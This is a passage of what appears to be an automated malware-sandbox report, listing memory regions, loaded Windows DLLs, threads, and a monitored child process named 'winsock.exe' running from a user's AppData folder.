(normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1583 start_va = 0x7fffece50000 end_va = 0x7fffed037fff monitored = 0 entry_point = 0x7fffece7ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1584 start_va = 0x198b5af0000 end_va = 0x198b5afffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000198b5af0000" filename = "" Region: id = 1585 start_va = 0x7ff616b10000 end_va = 0x7ff616c0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff616b10000" filename = "" Region: id = 1586 start_va = 0x198b5b30000 end_va = 0x198b5bedfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1587 start_va = 0x198b5d20000 end_va = 0x198b5e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5d20000" filename = "" Region: id = 1588 start_va = 0x7ffff0700000 end_va = 0x7ffff079cfff monitored = 0 entry_point = 0x7ffff07078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1589 start_va = 0x7468d60000 end_va = 0x7468d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007468d60000" filename = "" Region: id = 1590 start_va = 0x198b5bf0000 end_va = 0x198b5c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5bf0000" filename = "" Region: id = 1591 start_va = 0x198b5b00000 end_va = 0x198b5b06fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5b00000" filename = "" Region: id = 1592 start_va = 0x7fffd9100000 end_va = 0x7fffd9158fff monitored = 0 entry_point = 0x7fffd910fbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 1593 start_va = 0x198b5bf0000 end_va = 0x198b5bf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000198b5bf0000" filename = "" Region: id = 1594 start_va = 0x198b5c10000 end_va = 0x198b5c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5c10000" filename = "" Region: id = 1595 start_va = 0x7fffef9f0000 end_va = 0x7fffefc6cfff monitored = 0 entry_point = 0x7fffefac4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1596 start_va = 0x7fffefd90000 end_va = 0x7fffefeabfff monitored = 0 entry_point = 0x7fffefdd02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1597 start_va = 0x7fffed740000 end_va = 0x7fffed7a9fff monitored = 0 entry_point = 0x7fffed776d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1598 start_va = 0x7fffeff60000 end_va = 0x7ffff00b5fff monitored = 0 entry_point = 0x7fffeff6a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1599 start_va = 0x7ffff0340000 end_va = 0x7ffff04c5fff monitored = 0 entry_point = 0x7ffff038ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1600 start_va = 0x198b5c00000 end_va = 0x198b5c06fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5c00000" filename = "" Region: id = 1601 start_va = 0x7ffff05b0000 end_va = 0x7ffff06f2fff monitored = 0 entry_point = 0x7ffff05d8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1602 start_va = 0x7fffedba0000 end_va = 0x7fffedbfafff monitored = 0 entry_point = 0x7fffedbb38b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1603 start_va = 0x7fffedf50000 end_va = 0x7fffedf8afff monitored = 0 entry_point = 0x7fffedf512f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1604 start_va = 0x7ffff00c0000 end_va = 0x7ffff0180fff monitored = 0 entry_point = 0x7ffff00e0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1605 start_va = 0x7fffeb310000 end_va = 0x7fffeb495fff monitored = 0 entry_point = 0x7fffeb35d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1606 start_va = 0x198b5c20000 end_va = 0x198b5c20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5c20000" filename = "" Region: id = 1607 start_va = 0x198b5c30000 end_va = 0x198b5c30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5c30000" filename = "" Region: id = 1608 start_va = 0x198b5e20000 end_va = 0x198b5fa7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000198b5e20000" filename = "" Region: id = 1609 start_va = 0x198b5fb0000 end_va = 0x198b6130fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000198b5fb0000" filename = "" Region: id = 1610 start_va = 0x198b6140000 end_va = 0x198b753ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000198b6140000" filename = "" Region: id = 1611 start_va = 0x198b5c40000 end_va = 0x198b5d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5c40000" filename = "" Region: id = 1612 start_va = 0x7468da0000 end_va = 0x7468ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000007468da0000" filename = "" Region: id = 1613 start_va = 0x7fffee060000 end_va = 0x7fffef5befff monitored = 0 entry_point = 0x7fffee1c11f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1614 start_va = 0x7fffed8f0000 end_va = 0x7fffed932fff monitored = 0 entry_point = 0x7fffed904b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1615 start_va = 0x7fffed0f0000 end_va = 0x7fffed733fff monitored = 0 entry_point = 0x7fffed2b64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 1616 start_va = 0x7fffedd80000 end_va = 0x7fffede26fff monitored = 0 entry_point = 0x7fffedd958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1617 start_va = 0x7fffedee0000 end_va = 0x7fffedf31fff monitored = 0 entry_point = 0x7fffedeef530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1618 start_va = 0x7fffece40000 end_va = 0x7fffece4efff monitored = 0 entry_point = 0x7fffece43210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1619 start_va = 0x7fffed810000 end_va = 0x7fffed8c4fff monitored = 0 entry_point = 0x7fffed8522e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1620 start_va = 0x7fffecde0000 end_va = 0x7fffece2afff monitored = 0 entry_point = 0x7fffecde35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1621 start_va = 0x7fffecdc0000 end_va = 0x7fffecdd3fff monitored = 0 entry_point = 0x7fffecdc52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1622 start_va = 0x7fffeb740000 end_va = 0x7fffeb7d5fff monitored = 0 entry_point = 0x7fffeb765570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1623 start_va = 0x198b5c40000 end_va = 0x198b5c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5c40000" filename = "" Region: id = 1624 start_va = 0x198b5d10000 end_va = 0x198b5d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b5d10000" filename = "" Region: id = 1626 start_va = 0x198b7540000 end_va = 0x198b7876fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1627 start_va = 0x198b7880000 end_va = 0x198b7a9efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b7880000" filename = "" Region: id = 1628 start_va = 0x198b7aa0000 end_va = 0x198b7cb8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b7aa0000" filename = "" Region: id = 1629 start_va = 0x198b7cc0000 end_va = 0x198b7dd2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b7cc0000" filename = "" Region: id = 1630 start_va = 0x198b7de0000 end_va = 0x198b7ffdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b7de0000" filename = "" Region: id = 1631 start_va = 0x198b8000000 end_va = 0x198b8116fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000198b8000000" filename = "" Thread: id = 149 os_tid = 0x1228 Thread: id = 150 os_tid = 0x11f8 Thread: id = 151 os_tid = 0x11ec Process: id = "12" image_name = "winsock.exe" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe" page_root = "0x4e038000" os_pid = "0x12f8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x27c" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe\"" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1656 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1657 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1658 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1659 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1660 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 1661 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 1662 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1663 start_va = 0xcb0000 end_va = 0xd0dfff monitored = 1 entry_point = 0xd087be region_type = mapped_file name = "winsock.exe" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe") Region: id = 1664 start_va = 0xd10000 end_va = 0xd11fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 1665 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1666 start_va = 0x7e8e0000 end_va = 0x7e902fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e8e0000" filename = "" Region: id = 1667 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1668 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1669 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1670 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 1672 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 1674 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1675 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1676 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1677 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1678 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1679 start_va = 0xd20000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 1680 start_va = 0x6f7d0000 end_va = 0x6f828fff monitored = 1 entry_point = 0x6f7e0780 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 1681 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1682 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1683 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1684 start_va = 0x7e7e0000 end_va = 0x7e8dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e7e0000" filename = "" Region: id = 1685 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1686 start_va = 0xf20000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 1687 start_va = 0xd10000 end_va = 0xd13fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 1688 start_va = 0x75a50000 end_va = 0x75acafff monitored = 0 entry_point = 0x75a6e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1689 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1690 start_va = 0x4c0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 1691 start_va = 0x500000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 1692 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1693 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1694 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1695 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1696 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1697 start_va = 0xf20000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 1698 start_va = 0x1080000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 1701 start_va = 0x6f750000 end_va = 0x6f7ccfff monitored = 1 entry_point = 0x6f760db0 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 1702 start_va = 0x74e30000 end_va = 0x74e74fff monitored = 0 entry_point = 0x74e4de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 1703 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 1704 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 1705 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 1706 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1707 start_va = 0xd20000 end_va = 0xd49fff monitored = 0 entry_point = 0xd25680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1708 start_va = 0xe20000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 1709 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 1710 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1711 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 1712 start_va = 0x790000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 1713 start_va = 0x1090000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001090000" filename = "" Region: id = 1714 start_va = 0xd20000 end_va = 0xd77fff monitored = 1 entry_point = 0xd787be region_type = mapped_file name = "winsock.exe" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\subdir\\winsock.exe") Region: id = 1715 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 1716 start_va = 0x704e0000 end_va = 0x704e7fff monitored = 0 entry_point = 0x704e17b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1717 start_va = 0x2490000 end_va = 0x2b70fff monitored = 1 entry_point = 0x24bcd70 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1718 start_va = 0x6f060000 end_va = 0x6f740fff monitored = 1 entry_point = 0x6f08cd70 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 1719 start_va = 0x6ef60000 end_va = 0x6f054fff monitored = 0 entry_point = 0x6efb4160 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 1720 start_va = 0xd20000 end_va = 0xd20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 1721 start_va = 0xd30000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 1722 start_va = 0xd40000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 1723 start_va = 0xd50000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 1724 start_va = 0xd60000 end_va = 0xd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d60000" filename = "" Region: id = 1725 start_va = 0xd70000 end_va = 0xd7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 1726 start_va = 0xd80000 end_va = 0xd8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d80000" filename = "" Region: id = 1727 start_va = 0xd90000 end_va = 0xd90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d90000" filename = "" Region: id = 1728 start_va = 0xda0000 end_va = 0xda0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 1729 start_va = 0x2490000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 1730 start_va = 0xf20000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 1731 start_va = 0x1040000 end_va = 0x104ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001040000" filename = "" Region: id = 1732 start_va = 0x920000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 1733 start_va = 0x960000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 1734 start_va = 0xdb0000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 1735 start_va = 0x2630000 end_va = 0x462ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 1736 start_va = 0xf20000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 1737 start_va = 0xfd0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1738 start_va = 0xa60000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 1739 start_va = 0xaa0000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 1740 start_va = 0x4630000 end_va = 0x4966fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1741 start_va = 0x6dca0000 end_va = 0x6ef51fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\7582400666d289c016013ad0f6e0e3e6\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\7582400666d289c016013ad0f6e0e3e6\\mscorlib.ni.dll") Region: id = 1742 start_va = 0x75950000 end_va = 0x75a3afff monitored = 0 entry_point = 0x7598d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1743 start_va = 0x2490000 end_va = 0x2520fff monitored = 0 entry_point = 0x24c8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1744 start_va = 0x2620000 end_va = 0x262ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 1745 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 1746 start_va = 0x2490000 end_va = 0x258ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 1747 start_va = 0xdb0000 end_va = 0xdbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000db0000" filename = "" Region: id = 1748 start_va = 0x6d2d0000 end_va = 0x6dc9bfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\1be7a15b1f33bf22e4f53aaf45518c77\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\1be7a15b1f33bf22e4f53aaf45518c77\\system.ni.dll") Region: id = 1749 start_va = 0x6cba0000 end_va = 0x6d2c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = 